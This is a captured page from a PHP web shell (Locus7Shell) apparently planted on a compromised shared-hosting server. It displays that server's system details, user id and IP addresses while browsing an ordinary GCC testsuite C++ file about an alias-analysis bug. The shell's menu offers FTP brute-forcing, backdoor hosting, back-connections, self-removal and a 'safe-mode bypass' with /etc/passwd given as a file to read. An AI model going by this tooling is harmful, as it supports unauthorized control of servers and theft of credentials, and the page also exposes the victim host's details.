Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/tree-ssa/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     20040317-1.C (1.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O2" } */

/* Test provided by Brian Ryner in PR 14511.  The alias analyzer was
   not handling structures containing arrays properly.  In this case,
   the static cast was introducing two assignments of the form

      this_6->_vptr.IFoo = &_ZTV4IFoo[2];
      this_4->_vptr.IFoo = &_ZTV3Bar[2];

   which were not considered to alias each other because the alias
   analyzer was not computing a proper pointer to array elements.
   Another related bug was the type based alias analyzer not computing
   alias relations to _ZTV4IFoo and _ZTV3Bar.  Since those variables
   are read-only, it was disregarding alias information for them.
   So, the memory tags for the two 'this' variables were not being
   marked as aliased with these variables.  Resulting in the two
   assignments not aliasing each other.

   This was causing the optimizers to generate a call to the virtual
   method Foo() instead of the overloaded version.  */

struct IFoo
{
  virtual void Foo() = 0;
};

struct Bar : IFoo
{
  void Foo() { }
};

int main(int argc, char **argv)
{
  Bar* b = new Bar();
  static_cast<IFoo*>(b)->Foo();
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--